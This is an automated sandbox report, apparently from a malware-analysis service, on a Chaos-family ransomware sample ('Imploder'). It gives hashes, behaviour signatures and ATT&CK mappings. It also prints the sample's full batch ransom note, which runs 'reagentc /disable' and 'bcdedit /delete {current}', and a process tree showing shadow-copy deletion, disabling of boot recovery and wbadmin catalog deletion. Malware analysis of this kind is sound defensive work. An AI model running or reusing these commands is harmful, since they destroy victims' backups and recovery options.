Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
05-12-2024 05:32
General
-
Target
001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe
-
Size
417KB
-
MD5
de41c8ac436c2ea1137e7e142fc4a9b5
-
SHA1
df58cda16f1de9ab273009d5f988c281a6650999
-
SHA256
001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1
-
SHA512
bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a
-
SSDEEP
6144:crZrqFq9eIbJdAS1nqS75MlTrPmsTg8ou0+SRBXcMf1+FnH:X7IbLqS75ozTg8odtRBtenH
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\helpme.bat
Ransom Note
@echo off
reagentc /disable
bcdedit.exe /delete {current}
cls
color 4
echo uuuuuuu
echo uu$$$$$$$$$$$uu
echo uu$$$$$$$$$$$$$$$$$uu
echo u$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$' '$$$' '$$$$$$u
echo '$$$$' u$u $$$$'
echo $$$u u$u u$$$
echo $$$u u$$$u u$$$
echo '$$$$uu$$$ $$$uu$$$$'
echo '$$$$$$$' '$$$$$$$'
echo u$$$$$$$u$$$$$$$u
echo u$'$'$'$'$'$'$u
echo uuu $$u$ $ $ $ $u$$ uuu
echo u$$$$ $$$$$u$u$u$$$ u$$$$
echo $$$$$uu '$$$$$$$$$' uu$$$$$$
echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$
echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$'
echo ''' ''$$$$$$$$$$$uu ''$'''
echo uuuu ''$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$
echo $$$$$$$$$$'''' ''$$$$$$$$$$$'
echo '$$$$$' ''$$$$''
echo $$$' $$$$'
timeout 1 > nul
cls
color f
echo uuuuuuu
echo uu$$$$$$$$$$$uu
echo uu$$$$$$$$$$$$$$$$$uu
echo u$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$' '$$$' '$$$$$$u
echo '$$$$' u$u $$$$'
echo $$$u u$u u$$$
echo $$$u u$$$u u$$$
echo '$$$$uu$$$ $$$uu$$$$'
echo '$$$$$$$' '$$$$$$$'
echo u$$$$$$$u$$$$$$$u
echo u$'$'$'$'$'$'$u
echo uuu $$u$ $ $ $ $u$$ uuu
echo u$$$$ $$$$$u$u$u$$$ u$$$$
echo $$$$$uu '$$$$$$$$$' uu$$$$$$
echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$
echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$'
echo ''' ''$$$$$$$$$$$uu ''$'''
echo uuuu ''$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$
echo $$$$$$$$$$'''' ''$$$$$$$$$$$'
echo '$$$$$' ''$$$$''
echo $$$' $$$$'
timeout 1 > nul
cls
color 4
echo uuuuuuu
echo uu$$$$$$$$$$$uu
echo uu$$$$$$$$$$$$$$$$$uu
echo u$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$' '$$$' '$$$$$$u
echo '$$$$' u$u $$$$'
echo $$$u u$u u$$$
echo $$$u u$$$u u$$$
echo '$$$$uu$$$ $$$uu$$$$'
echo '$$$$$$$' '$$$$$$$'
echo u$$$$$$$u$$$$$$$u
echo u$'$'$'$'$'$'$u
echo uuu $$u$ $ $ $ $u$$ uuu
echo u$$$$ $$$$$u$u$u$$$ u$$$$
echo $$$$$uu '$$$$$$$$$' uu$$$$$$
echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$
echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$'
echo ''' ''$$$$$$$$$$$uu ''$'''
echo uuuu ''$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$
echo $$$$$$$$$$'''' ''$$$$$$$$$$$'
echo '$$$$$' ''$$$$''
echo $$$' $$$$'
timeout 1 > nul
cls
color f
echo uuuuuuu
echo uu$$$$$$$$$$$uu
echo uu$$$$$$$$$$$$$$$$$uu
echo u$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$' '$$$' '$$$$$$u
echo '$$$$' u$u $$$$'
echo $$$u u$u u$$$
echo $$$u u$$$u u$$$
echo '$$$$uu$$$ $$$uu$$$$'
echo '$$$$$$$' '$$$$$$$'
echo u$$$$$$$u$$$$$$$u
echo u$'$'$'$'$'$'$u
echo uuu $$u$ $ $ $ $u$$ uuu
echo u$$$$ $$$$$u$u$u$$$ u$$$$
echo $$$$$uu '$$$$$$$$$' uu$$$$$$
echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$
echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$'
echo ''' ''$$$$$$$$$$$uu ''$'''
echo uuuu ''$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$
echo $$$$$$$$$$'''' ''$$$$$$$$$$$'
echo '$$$$$' ''$$$$''
echo $$$' $$$$'
timeout 1 > nul
cls
color 4
mode 130,30
title YOU BECAME A VICTIM OF IMPLODER RANSOMWARE!
echo uuuuuuu
echo uu$$$$$$$$$$$uu WOOPS, YOUR FILES HAVE BEEN ENCRYPTED!
echo uu$$$$$$$$$$$$$$$$$uu All your files, like photos, videos, documents etc. have been
echo u$$$$$$$$$$$$$$$$$$$$$u encrypted by Imploder.
echo u$$$$$$$$$$$$$$$$$$$$$$$u
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u CAN I RECOVER MY FILES?
echo u$$$$$$$$$$$$$$$$$$$$$$$$$u No, there is no way to decrypt your files, we didn't made this
echo u$$$$$$' '$$$' '$$$$$$u ransomware for earning purpose. There is no turning back now.
echo '$$$$' u$u $$$$'
echo $$$u u$u u$$$ LAST WARNINGS
echo $$$u u$$$u u$$$
echo '$$$$uu$$$ $$$uu$$$$' 1. DO NOT REBOOT OR SHUTDOWN THE SYSTEM, DOING THIS WILL DAMAGE
echo '$$$$$$$' '$$$$$$$' YOUR COMPUTER
echo u$$$$$$$u$$$$$$$u
echo u$'$'$'$'$'$'$u
echo uuu $$u$ $ $ $ $u$$ uuu 2. DO NOT TRY TO RENAME THE EXTENSION TO THE FILES, IT WILL
echo u$$$$ $$$$$u$u$u$$$ u$$$$ NOT HELP YOU, AND IT WILL CAUSE A PERMANENT CORRUPTION
echo $$$$$uu '$$$$$$$$$' uu$$$$$$ FOR THE FILES, YOU HAVE 3 DAYS TO SUBMIT THE PAYMENT, AFTER
echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ THAT, WE WILL NO LONGER GIVE YOU THE DECRYPTION SOFTWARE.
echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$'
echo ''' ''$$$$$$$$$$$uu ''$''' %date% %time%
echo uuuu ''$$$$$$$$$$uuu
echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ PRESS ANY KEY TO CLOSE THIS MESSAGE
echo $$$$$$$$$$'''' ''$$$$$$$$$$$'
echo '$$$$$' ''$$$$''
echo $$$' $$$$'
pause > nul
Signatures
-
Chaos
Ransomware family first seen in June 2021.
-
Chaos Ransomware 3 IoCs
-
Chaos family
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
-
Renames multiple (194) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Deletes backup catalog 3 TTPs 1 IoCs
Uses wbadmin.exe to inhibit system recovery.
-
Disables Task Manager via registry modification
-
Drops startup file 2 IoCs
-
Executes dropped EXE 1 IoCs
-
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Drops desktop.ini file(s) 64 IoCs
-
Drops file in System32 directory 2 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 4 IoCs
-
Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 48 IoCs
-
Suspicious use of WriteProcessMemory 51 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe"C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Nexus.exe"C:\Users\Admin\AppData\Roaming\Nexus.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled no4⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wbadmin.exewbadmin delete catalog -quiet4⤵
- Deletes backup catalog
-
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\helpme.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\ReAgentc.exereagentc /disable4⤵
- Drops file in System32 directory
-
-
C:\Windows\system32\bcdedit.exebcdedit.exe /delete {current}4⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\mode.commode 130,304⤵
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Direct Volume Access
1Indicator Removal
3File Deletion
3Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
6KB
MD57ad3c97081449794ad1c475f0fd504af
SHA1080a56cfcb25c60c420247f85913c22f80c1ff27
SHA2563f53c6b79e260789adb7f0f4c40ceb952d234fcc28c5c1544e85840a2dcf504c
SHA512f586e8cac78d4b1a4ed9e58145fbf9f5825d3f24b5490c2342622bc7413947b660a89919a0c880131fb459ac3bf43f97ab9fb9843a38c5ede5e90929d808cfe2
-
Filesize
417KB
MD5de41c8ac436c2ea1137e7e142fc4a9b5
SHA1df58cda16f1de9ab273009d5f988c281a6650999
SHA256001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1
SHA512bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a
-
Filesize
1B
MD5d1457b72c3fb323a2671125aef3eab5d
SHA15bab61eb53176449e25c2c82f172b82cb13ffb9d
SHA2568a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1
SHA512ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0
-
Filesize
4KB
-
Filesize
440KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
440KB
-
Filesize
9.9MB
-
Filesize
9.9MB